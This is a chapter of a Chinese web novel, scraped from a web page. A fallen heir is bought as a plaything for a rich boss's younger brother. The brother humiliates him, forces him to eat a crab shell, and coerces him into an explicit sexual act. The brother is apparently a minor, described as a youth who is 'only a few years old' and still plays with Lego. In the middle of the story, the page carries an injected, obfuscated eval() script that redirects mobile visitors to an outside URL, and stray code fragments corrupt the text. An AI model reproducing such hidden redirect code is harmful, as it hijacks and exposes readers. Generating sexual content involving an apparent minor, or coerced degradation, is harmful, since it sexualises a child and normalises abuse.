4. 蟹壳

作品:《坏水

    是辛老板。


    是辛老板!陆怀英的嘴唇颤抖起来,他的膝盖也要软了。


    辛老板眯着眼睛看了看陆怀英,说,“这个,麻烦泰医生让给我。”


    泰医生朝他做了个请的手势。


    陆怀英被人带了下去,罕见地,被带到一个气派的房间,女佣在前面走,引着他往前面进,是一个淋浴间。


    女佣微微点头,与他错身。


    陆怀英洗了个澡,他不知道自己应该穿什么,这里也没有适合他的衣服,刚刚那一刹那他不知道自己是不是真的踏出了深渊。


    陆怀英听见了开门声,有人进来了,脚步轻盈,有说有笑。


    进来的一瞬间,他皱眉起来,说,“哥,这是什么东西啊。”


    “给你买来玩的。”辛老板说,“上次看着你不是喜欢么。”


    “你想带他回去林港啊?”辛星抬头问。


    辛老板揉了揉他的脑袋,说,“你说你大了,想找个伴,我又老没时间陪你,你玩这个,也搞不出孩子来。”


    辛星插着兜往里走,嫌弃地打量着陆怀英,说,“他就想这样呢,他都死赖着我们家了,最好你帮他去把陆家夺回来呢。”


    ...逼崽子怎么这么聪明。陆怀英心想。


    “你别想当别人的家,才几岁。”辛老板宠溺地说,“你上回乐高没拼完呢,你别又去弄那些危险的东西,我晚上还要去谈点事情,还要去应酬,别太过分,做人一线,自己心里有点数。”


    “说什么呢。”辛星往里走,辛老板走了。


    陆怀英也没有衣服,看着辛星只有一块浴巾遮住了自己。


    辛星踢了一脚被他扔在地上的衣服,说,“穿吧。”


    陆怀英手忙脚乱地穿起来,辛星站在他后面,似乎是在打量他的身体,他插着兜,绕着陆怀英转了一圈,用脚尖勾起围挡的浴巾往里看,颇为冒犯。


    “又见面了。”陆怀英说,“你好。”


    “毛病,我怎么上哪都能遇到你。” 辛星嫌弃地很,把手掏出来,歪了歪脖子,他刚从那球场出来,“给我按按,累。”


    辛星躺在松软的床面上,陆怀英又重新去洗了手,揉热了就覆在辛星的肩膀上,慢慢往下揉。


    “你搬个凳子过来,给我按头。”辛星闭着眼睛说。


    陆怀英依言照做,他坐在一张榻榻米上,辛星的头正好能靠在他腿上,他轻柔地给辛星按着脑袋,从太阳穴一路按到头顶。


    辛星是长得漂亮的少年,自带贵气,睫毛很长,吃痛的时候会抖动,皮肤细得跟牛奶一样,他今天穿了件身上画着猫咪涂鸦的衣服,下身还是那样随意的短裤。


    “你还敢给我打电话。”辛星闭着眼睛说。


    “我,我怕他们把我卖...卖给...”陆怀英说不下去了。


    “那你意思,我哥救了你的命是吗?”辛星睁开了眸子。


    陆怀英不敢直视他的眼睛,轻轻地嗯了一声。


    “我的脚好吃吗?”辛星略带戏谑地问。


    陆怀英的耳朵一下子就红了,抿着唇,一声听都听不见的嗯。


    “太搞笑了。”辛星又闭上了眼睛,笑声让他的胸腔起伏,“陆家的大少爷给我按摩,太搞笑了。”


    “吃饭了吗?”辛星转过头来问。


    上次一个人吃了一大盆子油腻叉烧的味道还在脑海。“吃..了。”陆怀英说。


    “那就再吃一顿,”辛星说,“我还没吃呢。以后见了我,得你先问我吃了没有。”


    “知道了。”陆怀英说。


    游轮上送来的辛星不爱吃,带着人出去吃。


    “你扒这个给我吃。”辛星说。


    陆怀英老老实实的掰螃蟹,虾,以及徒手还要开夏威夷果。


    辛星就尝尝味道,不乐意吃就吐在桌子上。


    “你吃这个。”辛星说。


    递给他的是空的蟹壳子,上面一丝肉都没有了。


    陆怀英根本没有胆子反抗,他想从船上走,他想出去,去陆地。


    陆怀英低头吃蟹壳子,嚼不烂,辛星说,“咽下去。”


    陆怀英只能咽下去了,咽得他嗓子都疼,感觉喉管都被切割开了。


    吃了几口,辛星又不想吃了,带着人回去了。


    路上有人跟他打招呼,他浅浅地,淡淡地与人回礼。


    这房间只有一张床,陆怀英站在床边,看着辛星跑进来就跃在床上。


    “你睡浴缸。”辛星说。


    “嗯。”陆怀英个子不小,这浴缸对他来说只能坐着睡。


    辛星玩着手机,说,“你叫什么名字来着?”


    “怀英,陆怀英。”他又重复了一次。


    “像条狗的名字呢怎么,”辛星转过来看着他,他似乎是记性不好,又问了一次,“陆家真不要你啦?那你可怎么办呢?”


    “他们要我。” 陆怀英说,“想要我的命。”


    “哇哦,”辛星看着陆怀英垂着的眼眸,说,“那你真是太可怜咯。”


    “还...还好。”陆怀英说,“遇上你了。”


    “遇上我才更不好,”辛星的眼睛透出鄙视,“我可不会把你当人。”


    “你怎么样,都会比他们好,”陆怀英的声音有点儿哽,“我...我没做错什么。”


    辛星说,“你没错什么,但是享福的时候你什么也没差,遭罪的时候你说你没做错什么,你太有意思了。听说岛上的人都惯是会撒谎,来这里滚上一圈就没有可怜人了。”


    “我没。”陆怀英底气不足,只能低声说,“我没撒谎。”


    “你不撒谎啊?”辛星说,“你不撒谎人家酒店能给我打电话了?”


    陆怀英沉默了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810071|158570||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “过来。”辛星朝他勾手。


    陆怀英从浴缸里起来,他腿有点麻了。


    “你坐这儿。”辛星点了点他面前的床。


    陆怀英明白要做什么,要是自己连这点用都没有,还能让他哥带着自己走吗?


    陆怀英乖顺地坐在他面前,辛星把他的头发拢起来看,一手摸着他的脖颈,拇指在他的动脉处摩挲,他趴过去关了灯。


    “你想睡我的床吗?”辛星问他,在黑夜里,有亮晶晶的眼睛。


    陆怀英喉头干哑,刚刚的蟹壳还在胸腔,感觉顺不下去,痛得他感觉嗓子都要裂开了。


    他不敢说想,也不敢说不想,最后他说,“我不敢。”


    “我不敢想。”陆怀英又重复了一次。


    辛星似乎并不满意这个回答,把手臂搁在脑后,用脚去丈量他的鼻子,嘴巴,脖颈,继续往下,再往下,盘坐着的人浑身有点儿颤栗,他不敢动,又只能忍着。


    辛星在黑夜里说,“你干净吗?”


    陆怀英顿了顿,“我没有过。”


    这事儿他还真没撒谎,毕竟落魄少爷的账单还有三天呢。


    辛星跪着,掐着他脖子说,在他耳边作恶一样威胁,“要是你让我知道你撒谎,我在你的屁/眼里放炮仗。”


    陆怀英有点儿惧怕似的,“我真的没有。”


    “舔我吧,像狗那样。”辛星自己脱了衣服,躺好了,露出光滑的脊背。


    陆怀英小心的撑起手臂,星星点点的吻落在他的身上。


    “我让你舔,没让你亲。”辛星说。


    会错意的陆怀英满脸通红,他伸出舌尖,一点点地往下试探。


    辛星发出轻盈的喘息,在窗帘飘扬的时候能听见海浪的声音,他翻了个身,手指在陆怀英的肩膀上摩挲,无一不暗示着继续,陆怀英小心地包裹,收着牙轻微的挑动,往人的肉里钻。


    骚这东西就是无师自通,都不需要点拨。


    床边柜子上的柠檬苏打水的冰块叮叮当当地摇晃起来,没一会儿又趋于安静,在这儿分辨不清楚是船在摇还是床在摇。


    辛星发出闷哼,死死地抵住陆怀英的咽喉,那呛人的蟹壳还在作祟,要是现在吐在床上,陆怀英能保证自己不能活着离开这艘船。


    他吃力的吞咽,连着一些腥臭的粘液一起,囫囵个地进了肠胃。


    真他妈草了。


    陆怀英强忍了反胃的感觉吞了又吞,眼睛都不自觉地红了,但是他又不敢看向辛星,只能缓缓地拍着自己的胸口顺气,草!草!真他妈草了!


    陆怀英涨红着脸去洗手间,有水龙头的遮掩下他干呕了好几下,他看着镜子里的自己,妈的,陆少爷在这儿跟你搞这个?陆少爷都要气笑了。


    但是他很快就冷静下来了,他冲了冲脸,刷了两次牙,在卫生间的门打开的时候恢复了神色。